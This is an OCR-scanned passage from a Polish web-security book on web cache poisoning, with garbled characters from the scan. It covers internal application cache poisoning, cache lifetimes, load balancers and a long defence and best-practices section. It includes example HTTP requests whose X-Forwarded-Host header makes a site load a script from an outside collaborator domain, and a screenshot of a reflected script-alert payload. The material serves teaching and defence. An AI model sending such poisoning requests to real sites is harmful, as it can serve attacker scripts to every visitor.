Aby zapobiec takim atakom, od wersji 5.2.4 w platformie WordPress dodawany jest
nagtowek Vary: Origin®.

= | =]
Example Domain x

@ = ¢ & ‘ © £ examplecom el IN» =
(

® O Inspektor Konsola [ Debuger T Sie¢ 2> 0: [J] » X

m W Filtruj zawartos¢ #

Btedy Ostrzezenia Wpisy dziennika Informace Wpisy debugowania C55 X¥HR Zadania

@ :zablokowano zgdanie do zasobu innego pochodzenia: zasady ,Same Origin Policy™ nie
pozwalajg wczytywad zdalnych zasobdw z ,https://api.example.com/wp-json/™ (naglowek
CORS paccess-Control-Allow-origin® nie pasuje do ,https://sekurak.pl™}.

© Uncaught (in promise) TypeError: NetworkError when attempting to fetch resource.
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Rysunek 12. Blqd wyswietlany w konsoli przeglqdarki podczas dostepu do zasobu
tamiqcego zasady reguly tego samego pochodzenia (ang. Same-Origin Policy)



Zatrucie wewnetrznej pamieci podrecznej

Réwniez normalizacja® lub inne nagléwki moga by¢ przyczyng zablokowania do-
stepu do aplikacji poprzez zatrucie pamieci podrecznej. Pomocne beda zwlaszcza eg-
zotyczne nagléwki stosowane przez dang platforme programistyczna, ktére domy$lnie
nie sg uwzgledniane w kluczu pamieci podrecznej (np. X-Forwarded-Port?®).

ZATRUCIE WEWNETRZNEJ PAMIECI PODRECZNEJ

W przypadku pamieci podrecznej obstugiwanej bezposrednio w aplikacji podat-
nosci zwigzane z jej zatruciem moga wygladac zupelie inaczej. Przede wszystkim
zewnetrzne systemy pamieci podrecznej muszq obstuzy¢ réznego rodzaju aplika-
cje i serwery docelowe, wiec robia to w pewien ujednolicony sposéb. Natomiast
pamie¢ podreczna wbudowana w platforme programistyczng jest przystosowywa-
na do konkretnego produktu, co daje twércom oprogramowania wieksza swobode
w projektowaniu jej zachowania.

Moze sie zdarzy¢ sytuacja zapisywania w pamieci podrecznej nie catych odpo-
wiedzi, a jedynie ich fragmentéw. Wtedy odpowiedz otrzymana na wystane zadanie
bedzie zlepkiem $wiezo wygenerowanej tresci oraz cze$ci wygenerowanej wczes-
niej i pobranej z pamieci podrecznej. Gdy odpowiedZ wydaje sie mieszankq danych
wejsciowych z obecnie oraz poprzednio wystanego zadania, najprawdopodobniej
$wiadczy to o tym, ze w aplikacji kryje sie zintegrowana pamie¢ podreczna. Innym
wskaznikiem takiego stanu rzeczy moze by¢ znajdowanie przestanych danych wej-
Sciowych w odpowiedziach dotyczacych réznych stron, w szczeg6lnosci tych, do
ktérych nie wykonywato sie wcze$niej zadnych zadan.

Poniewaz te zachowane w pamieci podrecznej fragmenty — np. nagtéwek lub
stopka strony — z zalozenia majq by¢ wielokrotnego uzytku, nie ma tutaj zastoso-
wania pojecie klucza pamieci podrecznej. Kazda strona zawierajaca dany fragment
bedzie ten fragment pobiera¢ z pamieci podrecznej, nawet jesli cata reszta bedzie
generowana od zera przy kazdym zadaniu. Sprawia to, Ze potencjalnie zatrucie we-
wnetrznej pamieci podrecznej moze oddziatywac¢ na bardzo szeroka skale. W skraj-
nym przypadku w wyniku wystania jednego tylko Zadania nastapi zatrucie kazdej
podstrony danej witryny i bedzie dotyczy¢ kazdego odwiedzajacego.

Za przyktad niech postuzy ponizsze zadanie wystane do jednego z wpiséw na
blogu Adobe:

GET /access-the-power-of-adobe-acrobat?dontpoisoneveryone=1 HTTP/1.1
Host: theblog.adobe.com
X-Forwarded-Host: collaborator-id.psres.net

Nagléwek X-Forwarded-Host by} odbity w odpowiedzi:

HTTP/1.1 200 OK
[...]
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<script src="https://collaborator-id.psres.net/foo.js"/>
[...]

<a href="https://collaborator-id.psres.net/post">

[...]

Przy czym okazalo sie, ze nie tylko w tej odpowiedzi, ale od tej pory réwniez
w kazdej innej dotyczacej kazdej podstrony, w tym strony gléwnej tego serwi-
su. Wewnetrzna pamie¢ podreczna aplikacji, WP Rocket Cache, zostala zatruta,
a w konsekwencji wszystkie generowane strony pobieraly zasoby z domeny po-
danej powyzej w nagtowku X-Forwarded-Host oraz zawieraly prowadzace do niej
hipertacza. Tym samym zZadanie:

GET / HTTP/1.1
Host: theblog.adobe.com

skutkowato ponizsza odpowiedzig:

HTTP/1.1 200 OK
X-Cache: HIT - WP Rocket Cache

[...]

[...]

<script src="https://collaborator-id.psres.net/foo.js"/>
[...]

<a href="https://collaborator-id.psres.net/post">

[...]

Jak wida¢, testowanie podatno$ci zwigzanych z wewnetrzng pamiecia podreczna
moze by¢ dos¢ trudne, a efekty nieprzewidywalne. Nawet przy najwiekszych srod-
kach ostrozno$ci moze sie okaza¢, ze przypadkowo zatrulo sie pamie¢ podreczng
serwowang uprawnionym uzytkownikom. Zatem istotne jest, aby przezornie wy-
konywac takie testy. Wskazane jest dobrze przemysle¢ ewentualne skutki prze-
tworzenia wysytanych danych wejsciowych. W szczeg6lnosci nalezy sie upewnic,
ze uzywa sie jedynie domen, do ktérych ma sie dostep. To pozwoli zatagodzi¢ po-
wstate zamieszanie, gdy w wyniku testu wydarzy sie co$ nieoczekiwanego. Zwtasz-
cza ze jako testujacy nie ma sie opcji szybkiego wyczyszczenia pamieci podrecznej
i ponownego wygenerowania zasob6w, a czas zycia danych zachowanych w pamie-
ci podrecznej jest nieznany?.

CHWILE ULOTNE
Jedna z charakterystycznych cech pamieci podrecznej jest jej nietrwato$¢. Nie-
zaleznie od tego, w ktérym z wymienionych miejsc pewien zaséb zostaje zacho-
wany, najczesciej po pewnym z gory ustalonym czasie zostaje on uznany za nie-



Chwile ulotne

aktualny — to, co zostatlo zapisane w pamieci podrecznej, zostaje z niej usuniete,
a przy kolejnym zadaniu zaséb ponownie zostaje pobrany ze zZr6dta i/lub ponownie
wygenerowany ,,0d zera”. Czas przechowywania zasobéw w pamieci podrecznej
moze sie bardzo waha¢ w zaleznosci od konkretnego przypadku: od kilku sekund do
kilku godzin czy dni. By utrzymac efekt zatrutej pamieci, atakujacy moze wysytac
szkodliwe zadania w nieskoniczonej petli.

Jesli strona cieszy sie duza popularnoscia, dodatkowa trudnos$cia dla atakujace-
go bedzie wprowadzenie zainfekowanego zadania pomiedzy zadania pozostatych
uzytkownikéw, ktérzy swoimi dziataniami réwniez wywotuja zapisywanie zaso-
béw w pamieci podrecznej. Wtedy konieczna jest wyjatkowa celnos$¢ (i zapewne
odrobina szczescia), by zatruta strzata jako pierwsza trafita do mechanizmu pamieci
podrecznej bezposrednio po wygasnieciu poprzednio zachowanej wersji zasobu.

W przypadku system6éw rownowazenia obciazenia (ang. load balancer) sytuacja
moze sie zrobi¢ wyjatkowo zabawna. W zaleznosci od tego, ktéry serwer przyjmie
zadanie, odpowiedZ moze zawiera¢ wersje zatruta lub nie. Przy odrobinie zrecz-
nosci daje to niebywatla szanse atakujagcemu na przeprowadzenie wyrafinowanych
testow A/B (rysunek 13)!

eCe® Intruder attack 18
Results Target Positions Payloads Options
Fiter: Showing allftems @

Request Status Length X-Cache: MISS X-Cache: HIT <script>

0 200 371 alert(1)
1 200 371 alert(1)
2 200 372 alert(-1)
3 200 372 alert(-1)
4 200 371 alert(1)
5 200 372 alert(-1)
6 200 371 alert(1)
7 200 372 alert(-1)
8 200 371 alert(1)
Request Response

Pretty m Render \n  Actions v  Selectextension...

X-Cache: HIT

Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=UTF-8§
X-Content-Encoding-0Over-Network: gzip
9 Content-Length: 137

10

11 <html>

12 <head>

13 <title>Wyniki wyszukiwania</title>

14 </head>

15 <body>

16 Wyniki wyszukiwania dla frazy: <script>alert(-1)
</script></body>

</html>

17
®{§} |E] |§| | Search... | 0 matches
Finished G

0 -1 o

Rysunek 13. Zatrucie dwéch réwnowaznych serwerdw pamieci podrecznej
(Burp Suite, Intruder)
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OBRONA

Najbardziej skuteczna obrona przed btedami bezpieczenstwa zwiazanymi z pa-
miecig podreczng jest calkowite wylaczenie pamieci podrecznej. Cho¢ nie jest
to rada, ktéra sprawdzi sie w wiekszosci przypadkéw, zapewne istnieja aplikacje,
dla ktérych bedzie to wykonalne. Na przyklad, jesli dla aplikacji wynajeto system
chroniacy przed atakami DDoS, ktéry przy okazji domys$lnie ma wlaczong réwniez
opcje zapisywania odpowiedzi w pamieci podrecznej, warto przeanalizowaé, czy ta
domyslnie wiaczona opcja jest potrzebna.

Poza takimi przypadkami niestety nie istnieje jedna prosta metoda obrony przed
zonglowaniem pamiecia podreczng. Takie podatnosci moga sie pojawia¢ z wielu
réznych powodéw, dlatego by je wyeliminowadé, trzeba podjac rézne srodki zarad-
cze. Bezpieczenstwo jest procesem i zastosowanie kazdej kolejnej z ponizszych
wytycznych podniesie jego poziom. Przy czym warto pamietaé, ze niektére prze-
ciwdziatania podjete bez glebszego zrozumienia problemu mozna tatwo omina¢®.

Jesli korzystanie z pamieci podrecznej jest istotne, ograniczenie jej wykorzy-
stania do zapisywania tylko zasobow statycznych bedzie bardzo efektywna obro-
na. Termin ,,statyczne” i to, jak jest on rozumiany przez system pamieci podrecznej,
trzeba jednak traktowac ostroznie. Nalezy sie upewni¢, ze atakujacy (ani atakujaca)
nie jest w stanie przekona¢ serwera docelowego do pobrania ztosliwej wersji zasobu
statycznego zamiast oryginalnej ani przekona¢ serwera pamieci podrecznej, ze dany
zasob jest statyczny, gdy nim nie jest. Na przyktad serwer docelowy nalezy skonfi-
gurowac tak, by dla adreséw takich jak www.example.com/profile.php/fake.jpg
nie zwracal zawartosci pliku profile.php. Zamiast tego serwer powinien odpo-
wiedzie¢ kodem 404 (nie znaleziono zasobu) lub 302 (przekierowanie). Dobrym
zabezpieczeniem bedzie réwniez przechowywanie wszystkich statycznych plikow
w przeznaczonym do tego katalogu i dopuszczanie zapisywania w pamieci podrecz-
nej tylko zawartosci tego katalogu.

Ponadto nalezy sprawdzi¢, czy serwer docelowy oraz serwer posrednicza-
cy w ten sam sposob rozdzielaja parametry $ciezki oraz parametry zadania
(ang. query parameters)®, poniewaz rozbieznosci w interpretacji stanowia furtke
dla niebezpiecznej manipulacji pamiecig podreczna. Atak polegajacy na oszukaniu
pamieci podrecznej mozna wywota¢ w przypadku, gdy serwer docelowy i serwer
posredniczacy nie sa zgodne co do mozliwosci zachowania danego zasobu w pamie-
ci podrecznej. Istotne jest wiec, by dokladnie zweryfikowa¢ konfiguracje wszyst-
kich uzywanych w aplikacji mechanizmdéw pamieci podrecznej*.

Atakom nakierowanym na zatrucie pamieci podrecznej w celu zablokowania doste-
pu do aplikacji mozna w duzej mierze zapobiec, wylaczajac zachowywanie w pamieci
podrecznej odpowiedzi w przypadku wystapienia bledu, tj. zwr6cenia odpowie-
dzi z kodem HTTP o wartosci 4xx lub 5xx. Mozna to osiagna¢, dodajac nagtéwek
Cache-Control: no-store do wszystkich stron bledéw lub odpowiednio konfi-
gurujac mechanizm pamieci podrecznej (o ile udostepnia taka mozliwos¢). Ponad-
to w przypadku wystapienia btedu nalezy zwraca¢ odpowiedni kod btedu, np. gdy
wielko$¢ nagtéwka zostala przekroczona, nalezy zwroci¢ kod 431 Request Head-
er Fields Too Large (dla ktérego odpowiedz nie zostanie zachowana w pamieci



Obrona

podrecznej), a nie odpowiada¢ na wszystko kodem 404 Not Found (ktéry moze by¢
w pamieci podrecznej zapisywany).

Sprawdzi sie tutaj takze ponizsza ogdlna rada. Wiekszos¢ aplikacji korzysta z r6z-
nych technologii dostarczanych przez strony trzecie. Nawet jesli twoérca aplikacji
ma wysokie standardy bezpieczenstwa, w momencie korzystania z technologii stron
trzecich zaklada, czasem zbyt optymistycznie, Ze jej twércy sa rdwnie Swiadomi
bezpieczenistwa jak on sam. Prawda jest taka, zZe aplikacja jest tak bezpieczna,
jak jej najslabszy punkt. Wazne jest zatem, aby w pelni rozumie¢, jakie sg kon-
sekwencje dotyczace bezpieczenstwa w przypadku wykorzystywania w aplikacji
jakiejkolwiek technologii innej firmy. Mozna narazi¢ sie na ataki zatrucia pamieci
podrecznej, nie zdajac sobie z tego sprawy, wytacznie dlatego, ze uzyto technologii,
ktéra obshuguje podatne niekluczowe zmienne.

Skutecznym sposobem zapobiegania zatruwaniu pamieci podrecznej bedzie uni-
kanie pobierania danych wejsciowych z naglowkow i ciasteczek. Aby przy oka-
zji nie popsu¢ funkcjonalno$ci i uzytecznosci aplikacji, nalezy najpierw upewnié¢
sie, czy inne warstwy aplikacji nie korzystaja z takich dodatkowych nagtéwkéw, co
niestety nie zawsze moze by¢ prostym zadaniem.

Zasadniczo obsluga wszystkich nagléowkéw zbednych w poprawnym funk-
cjonowaniu aplikacji powinna zosta¢ calkowicie wylaczona. Jedli to nie jest moz-
liwe, alternatywa jest dodanie tych nagléwkow do zbioru zmiennych kluczowych.
Nalezy zweryfikowa¢, czy wynajety system posredniczacy respektuje naglowek
Vary lub czy pozwala na skonfigurowanie wiasnego klucza pamieci podrecznej
w inny sposéb (przyktady dla Cloudflare*!, CloudFront*, Cloud CDN*, Fastly**).

Jesli ze wzgledu na wydajnos¢ planowane jest usuniecie pewnego parametru ze
zbioru kluczowych zmiennych, to lepszym pomystem bedzie przepisanie zadania.
Zamiast usuwac parametr taki jak utm_content z klucza pamieci podrecznej, lepiej
usunac ten parametr z zadania, zanim zostanie ono przestane do serwera. Przy obu
podejéciach poprawiona zostanie wydajnos¢, ale jedynie to drugie zdecydowanie
zmniejsza prawdopodobienistwo wystapienia podatnosci zwigzanych z pamiecia
podreczna.

Nalezy odrzuca¢ wszystkie Zzadania GET, ktore zawieraja cialo. Warto zauwa-
zy¢, ze niektére rozwiagzania firm trzecich maja domyslnie wlaczona obstuge takich
zadan.

Wskazane jest naprawiac¢ podatnosci wystepujace po stronie klienta, nawet
jesli wydaja sie niemozliwe do wykorzystania (np. self XSS). Niektore z tych podat-
nosci moga okazac sie w istocie mozliwe do wykorzystania z powodu nieprzewidy-
walnych kapryséw uzywanych systemoéw pamieci podrecznej. Tylko kwestia czasu
moze by¢ to, gdy kto$ znajdzie sposob na wykorzystanie danej ,,niewykorzystywal-
nej” podatnosci®.
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DOBRE PRAKTYKI

» Jesli pamie¢ podreczna nie jest celowo wykorzystywana, nalezy ja catkowicie wylaczy¢.

W pozostatych przypadkach:
» Nalezy ograniczy¢ wykorzystanie pamieci podrecznej do zapisywania tylko zasobow
statycznych.

» Nalezy sprawdzi¢, czy serwer docelowy oraz serwer posredniczacy w ten sam sposob
rozdzielajq parametry $ciezki oraz parametry zadania.

» Nalezy wylaczy¢ zachowywanie w pamieci podrecznej odpowiedzi w przypadku wy-
stapienia btedu.

» Nalezy przeanalizowa¢ bezpieczenstwo zewnetrznych technologii wykorzystywanych
w aplikacji.

» Nalezy unikac¢ pobierania danych wejSciowych z nagltowkéw i ciasteczek.

» Nalezy wylaczy¢ obstuge wszystkich zbednych nagtowkow.

» W celu poprawienia wydajnosci nalezy przepisa¢ zadanie (zamiast usuwac parametry
z klucza pamieci podrecznej).

» Nalezy odrzuca¢ wszystkie zadania GET z ciatem.

» Nalezy naprawia¢ wszystkie podatnosci wystepujace po stronie klienta.

Polecane zasoby w sieci
» Omowienie mechanizmu pamieci podrecznej na stronie MDN Web Docs:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching
» Farah Hawa opowiada o oszukaniu pamieci podrecznej:
https://youtu.be/3YLFZvxZbRc
» Omer Gil na konferencji BlackHat opowiada o oszukaniu pamieci podrecznej:
https://youtu.be/mroq9eHFOIU
» Seria prac badawczych na temat zatrucia pamieci podrecznej, ktére przepro-
wadzil James Kettle z PortSwigger:
> Practical Web Cache Poisoning (2018):
https://portswigger.net/research/practical-web-cache-poisoning
> Bypassing Web Cache Poisoning Countermeasures (2018): https://port-
swigger.net/research/bypassing-web-cache-poisoning-countermeasures
> Responsible denial of service with web cache poisoning (2019):
https://portswigger.net/research/
responsible-denial-of-service-with-web-cache-poisoning
> Web Cache Entanglement: Novel Pathways to Poisoning (2020):
https://portswigger.net/research/web-cache-entanglement
» Mozliwos¢ prze¢wiczenia w Web Security Academy zatrucia pamieci pod-
recznej: https://portswigger.net/web-security/web-cache-poisoning
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Fielding R., Nottingham M., Reschke J., Hypertext Transfer Protocol (HTTP/1.1): Caching,
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https://tools.ietf.org/html/rfc7234#section-5.3
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https://web.archive.org/web/20210310084222/https://lyte.id.au//2014/08/28/x-cache-and-x-cache
-lookupheaders/; https:/lyte.id.au/2014/08/28/x-cache-and-x-cache-lookupheaders/

Fastly, X-Cache-Hits, https://web.archive.org/web/20210126183043/https://developer.fastly.com/
reference/http-headers/X-Cache-Hits/; https://developer.fastly.com/reference/http-headers/X-Cache-Hits/
Anello M., Understanding common cache-related HTTP response headers,
https://web.archive.org/web/20210306024346/https://www.drupaleasy.com/blogs/ultimike/2021/01/
understanding-common-cache-related-http-response-headers; https://www.drupaleasy.com/blogs/
ultimike/2021/01/understanding-common-cache-related-http-response-headers

Zatlyn M., Edge Cache Expire TTL: Easiest way to override any existing headers,
https://web.archive.org/web/20210808224104/https://blog.cloudflare.com/edge-cache-expire-ttl
-easiest-way-to-override/; https://blog.cloudflare.com/edge-cache-expire-ttl-easiest-way-to-override/
Puttaiah A., Configure Caching Easily with S-Maxage — Now in GA, https://web.archive.org/
web/20201125163214/https://developer.akamai.com/blog/2020/10/23/configure-caching-easily
-s-maxage-now-ga; https://developer.akamai.com/blog/2020/10/23/configure-caching-easily
-s-maxage-now-ga#what-happens-to-the-edge-control-header

Fielding R., Reschke J., Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content,
https://web.archive.org/web/20211006185512/https://datatracker.ietf.org/doc/html/rfc7231;
https://tools.ietf.org/html/rfc7231

Hawa F., Web cache deception for beginners!, https://youtu.be/3YLFZvxZbRc

Google Clouds, Cloud CDN overview, https://web.archive.org/web/20210411171821/
https://cloud.google.com/cdn/docs/overview; https://cloud.google.com/cdn/docs/
overview#eviction_and_expiration

Levin D., Margolius D., Using Cache Purge to Keep Your Website Content Fresh and Responsive,
https://web.archive.org/web/20210305194357/https://www.imperva.com/blog/purge-cache-keeps
-content-fresh-responsive/; https://www.imperva.com/blog/purge-cache-keeps-content-fresh-responsive/
Liebow-Feeser J., Understanding Our Cache and the Web Cache Deception Attack,
https://web.archive.org/web/20210808222953/https://blog.cloudflare.com/
understanding-our-cache-and-the-web-cache-deception-attack/; https://blog.cloudflare.com/
understanding-our-cache-and-the-web-cache-deception-attack/

Berners-Lee T. i in., Path, https://web.archive.org/web/20211006042951/https://datatracker.ietf.org/
doc/html/rfc3986; https://tools.ietf.org/html/rfc3986#section-3.3

Taylor D., HTTP URL Path Parameter Syntax, https://web.archive.org/web/20210805194418/
https://doriantaylor.com/policy/http-url-path-parameter-syntax; https://doriantaylor.com/policy/
http-url-path-parameter-syntax
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